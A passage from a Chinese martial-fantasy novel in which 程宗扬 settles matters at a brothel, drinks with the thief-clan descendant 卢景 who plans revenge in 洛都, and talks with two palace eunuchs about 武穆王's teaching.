程宗扬恍然道:“哦,高……他把媚娘又送回来了?”

老鸨笑道:“公子是明白人,不用奴家饶舌。那府里不好安置,才送到院子里来的。”

高俅这什么意思?媚娘人都跑出来了,又送回玉露楼安置?高俅身居高位,却只有一个过继的儿子,如果换作别人,少不得要猜想他老人家是不是有什么难言之隐。但自己和高俅同室操过戈,亲眼见到那老家伙还结实着呢,平白放着媚娘那样的绝代尤物不愿收留,难道是怕给高智商那娃添个弟弟?

程宗扬玩笑道:“留在这儿,他就不怕哪位客人喝醉了,吃了他的禁脔?”

“公子说笑呢。”

老鸨道:“媚娘虽然在院子里,论身份其实是那位老大人的外室。奴婢们连奉承都来不及呢,怎敢让人打扰?”

“行了,用不着敲边鼓,我又没打算嫖她。”

程宗扬微微一笑道:“师师姑娘留在你这里,还要劳烦你们多多费心。如果少根头发,我就拆了你的院子。”

程宗扬口气虽然轻松,老鸨却是心中一凛,当即谀词如涌,奉承不绝。……

出了玉露楼,程宗扬犹豫着该去云涛观还是回翠微园等小紫,但路角一只破碗,让他打消了主意。

程宗扬走过去,屈指一弹,一枚铜铢掉进破碗里,发出清脆的响声。

“都这时候了,该收摊了吧。”

旁边的瞎子一手摸索着伸到碗里,摸起铜铢,揣进怀里,然后爬起来,顺手把破碗夹到腋下,跟着程宗扬上了马车。

程宗扬好奇地打量着他,“卢五哥,专程在这儿等我呢?”

卢景道:“晚上有事?”

程宗扬苦笑道:“本来有,现在没有了。”

卢景也不客套,“找个地方喝酒去。”

“成。”

程宗扬道:“我今天就舍命陪君子!”

“少跟我提君子。”

卢景翻着白眼道:“犯我老卢家的忌讳!”

临安没有宵禁,街市上尽有昼夜开张的酒肆、瓦子。两人也没找高楼贵馆,迳直来到橡树瓦,要了两坛蛇麻酒。

两人举起铁皮杯互碰一下,然后一饮而尽。程宗扬呼着酒气道:“卢五哥,你刚才说‘君子’这词儿犯你们家的忌讳——什么意思?”

卢景蹲在椅子上,一手捻着盐煮蚕豆,“知道我们卢家的来历吗?”

“小狐狸说过,五哥是世家出身。不过五哥的世家好像和别家不一样。”

卢景哼了一声,“没见过大盗世家?”

程宗扬老老实实道:“没有。”

卢景沉声道:“我卢家祖上是柳下跖。”

程宗扬怔了一下,有些拿不准地试探道:“盗跖?”

“听说过?”

程宗扬连连点头。废话,盗跖是盗贼之祖,“盗亦有道”就是这位说的:夫妄意室中之藏,圣也。入先,勇也。出后,义也。知可否,智也。分均,仁也。

五者不备而能成大盗者,天下未之有也。硬把盗贼这种脏活上升到理论高度了。

程宗扬呼了口气,然后举杯笑道:“五哥,我得敬你一杯。没想到我能和盗跖的后人坐在一起。”

卢景也不推让,一口饮完,抹了抹嘴上的泡沫。

“只不过我还有点不明白,”

程宗扬道:“五哥出身盗贼世家,为什么有时候看起来有那么点贵族气呢?还有君子的忌讳是怎么回事?”

卢景咬着蚕豆道:“要说君子,我祖上柳下跖有个哥哥,柳下惠……”

程宗扬一口酒喷了出来,“真的假的?”

卢景翻着白眼道:“你爱信不信。”

“这哥儿俩也差得太远了吧?一个大盗,一个坐怀不乱的真君子。”

“狗屁君子!”

卢景寒声道:“窃国者侯,窃钩者诛!那些君子何曾敢对窃国之辈冷颜相向?到了君王面前,哪个不是尽力吹捧,谓之得国有道?”

程宗扬听出来了,卢家对君子的忌讳,一大半倒是来自柳下惠。这就好比小哥儿俩,打小别人就夸:这哥哥不错!真是个好孩子!长大了肯定是个君子!他弟弟?那熊孩子!咱们就别提了……

这要被人有事没事说上几百年,弟弟心理不变态才怪。话说回来,老卢家两位祖上都是王室子孙,结果门里出来个盗跖,也着实够奇葩的。

程宗扬笑道:“咱们就不说君子了——卢五哥,来临安这么久,你都神龙见首不见尾的,今天突然来找我,有什么事?”

卢景一点都不绕圈子,迳直道:“月姑娘的事,你是个什么主意?”

程宗扬一窒,尴尬地干笑道:“你们都知道了啊?”

“哼哼,”

卢景哼了两声,“既然是兄弟,我也不和你说外话——你的那些个女人我也见了,没什么好东西!”

程宗扬连连点头,“五哥说得是。”

“你要愿意呢,我替你都杀了吧。”

程宗扬张大嘴巴。

半晌,卢景翻了个白眼,“你这小子,和岳帅一个德性!总以为跟自己有一腿,就不好动手。到头来非在女人身上吃亏不可!”

程宗扬讪讪道:“五哥放心,我有分寸。”

卢景哼了一声,“你爱找哪个女人不干我们的事,但谁要不开眼,敢给月姑娘气受,我老卢立马把她塞麻袋里沉塘!”

程宗扬苦笑道:“五哥,不是我说,就月丫头那性子,谁敢给她气受?用不着你出马,咱们月大小姐早把她切成十七八块了。”

卢景埋头喝了会儿酒,“艺哥说得没错,我们几个就他妈是废物!到如今岳帅留下的血脉都没找齐。”

程宗扬皱眉道:“你去见宋国那位韦太后了?还没有线索吗?”

卢景摇了摇头。

程宗扬心里嘀咕道:看来得小紫出马了。卢景再怎么说也是岳鸟人的属下,不好对他的女人下狠手。换成死丫头,石人也得口吐真言。

“孟大哥让我告诉你,鹏翼社的产业已经整理完了,等你去接手。往后我们兄弟就在江州为岳帅守住星月湖这面大旗。”

程宗扬给他倒上酒,“老大说的汉国那件事,有消息了吗?”

“明天我就去洛都。”

卢景声音冷得犹如冰块,“忍了这么多年,也该为岳帅讨点债回来。”

程宗扬一怔,“岳帅的仇家在汉国?”

“当日若不是有人从中作梗,怎会有风波亭之变?”

卢景道:“那天我们八兄弟除了小狐狸年纪尚小,事先被送回建康,其他几个各自被人绊住,至死也未能见到岳帅最后一面。”

“绊住四哥的是谁?”

“剧孟。”

卢景冷冷道:“此人世居洛都,颇有侠名。这些年我们星月湖的兄弟隐姓埋名,孟老大压着,不许我和四哥去寻他的麻烦。如今江州在手,我星月湖再无后顾之忧。这一次去洛都,少不得要找他分说明白!”

剧孟是洛都有名的大侠,以助人之急,慷慨重义,一诺千金闻名汉国。但程宗扬对这个名字一无所知,只举杯笑道:“既然如此,今晚就一醉方休!”……

远处传来“沙沙”的扫地声,程宗扬躺在榻上,摸了摸胀痛的脑袋,半晌才清醒过来。昨晚自己与卢景喝到三更,卢五拍拍屁股走路,自己却是酩酊大醉,连陈琳把自己送到哪里都不知道。

好不容易挣扎着起来推开阁门,看到外面的一线天,程宗扬才意识到自己是在云涛观。

云涛观的迷楼建在山腹的洞窟内,纵然是正午时分,光线也暗如傍晚,只有阳光透过山腹的空隙时,才能带来短暂的白昼感觉。

程宗扬挥了挥身上的酒气,这才出门。郭槐正站在台阶上,怀里抱着一柄竹帚,佝偻着身体慢吞吞扫着落叶。陈琳垂手立在一旁,他在外面立了一夜,身上的衣物都被露水打湿,身形仍像木偶一样一动不动。

程宗扬朝陈琳打了个招呼,然后伸手接过郭槐的扫帚,笑道:“郭公公身体大好了?”

郭槐抬起眼,缓缓露出一个笑容,然后躬身叉起双手,用沙哑的声音说道:“少爷叫老奴苍头便是。”

程宗扬笑道:“那我就却之不恭了。”

苍头是奴仆的称谓,郭槐此言已经是以家仆自居。程宗扬没有摆出那副貌似平等,实为霸道的嘴脸教训他什么人人平等的道理,毕竟郭槐与吴战威、易彪、敖润这些江湖汉子不同,他是宫里的太监出身,数十年来作惯了奴仆,一时间强行让他改口,反而是难为他。

程宗扬放下扫帚,往台阶上一坐,招呼道:“陈大貂珰,你也来坐。”

陈琳躬身道:“不敢。”

程宗扬道:“就你们宫里规矩多。我们盘江程氏可没这么多规矩,老苍头,过来坐吧。”

郭槐靠底下一级台阶坐下,一手抱住膝盖,微微呼了口气。

程宗扬开门见山地说道:“老苍头,你一直在宫里,不像秦大貂珰一样被送出去修习过,怎么有这么好的修为?”

郭槐道:“当年太后身边的六名贴身太监,都是大王亲自指点过。”

他口中的大王只会是武穆王岳鹏举,程宗扬充满意外地瞧了陈琳一眼,“你们几位都有六级的修为吧?”

陈琳道:“宫里六级修为的,只有郭公公、马公公和奴才。马公公两年前已经过世了。”

岳鸟人指点的六名太监,一半都能达到六级修为,这个比例绝对不算低了。

要知道太乙真宗几位教御也不过是六级的水准。再联系到星月湖八骏的修为,能一手调教出十余名六级以上的高手,真看不出来,武穆王居然还是个好老师。

郭槐道:“老奴是在宫里学的艺,但直到遇见武穆王,才知道什么是天外有天,人外有人。”

他叹了口气,“那时老奴已在四级入微境困顿十余年,以为再难有寸进。武穆王略一点拨,老奴便在数年之中接连突破入微、坐照两级。修为突飞猛进,步入以前做梦也未想过的六级通幽之境。”

程宗扬琢磨道:“也许你当时修为已经积累得足够多,只差关键之处没有点透。武穆王的指点正好戳穿了那层窗户纸。”

郭槐道:“武穆王当日也是这般说的。只是若没有武穆王的指点,老奴如今也只是四级修为罢了。”

程宗扬一笑,开口道:“那条荡星鞭本来是黑魔海的东西,武穆王为什么会放在宫里呢?”

郭槐抱膝望着远方,“大王留下此鞭,是让老奴守护好宫里的各位娘娘和媛公主。这些年不少人入宫,托大王和少爷的福,总算没出什么大乱子。”

“我瞧着宫里都已经够乱了,”

程宗扬话风一转,“听说陛下那里有点不妥当?”

郭槐道:“老奴身为奴才,不该看的便看不到,不该听的便听不到。”

“得了吧,要不是娘娘这会儿不方便,我才懒得问你这个锯嘴的葫芦呢。”

郭槐枯树般的脸上忽然露出一丝欣慰的笑容,“小主人虽是女子,却青出于蓝。”

程宗扬哭笑不得,他算看明白了,这些宫里的家伙从本质上说,就是一群变态,所以才会对死丫头那个天才的变态儿童服气。

“紫姑娘回来了吗?”

陈琳道:“比公子回来得还早些。听说公子喝醉,还过来看过。”

不知为何,这么简单的一句话,却让程宗扬心头微微一暖。昨晚死丫头突然离开,不知去干什么勾当。一会儿见着可要好好问问她。

程宗扬正要起身,背后传来一阵踢踢踏踏的声音,却是殇侯又换作朱老头的打扮,背着双手,脚上趿着双快掉了底的破布鞋,晃晃悠悠过来。

“老头儿,熬了个通宵?看着气色不坏啊。”

朱老头扬着脸,一把山羊胡子翘得老高,“说啥气色呢?走!小程子!大爷带你吃早点去!”

程宗扬知道他有话要说,当即拍拍屁股站起身来,“难得老头儿舍得请客,今天这早点我非吃得你血流成河!”

朱老头道:“大爷人穷志不短!今儿个这早点,你要能从大爷嘴里抠出一文钱来,大爷随你的姓!”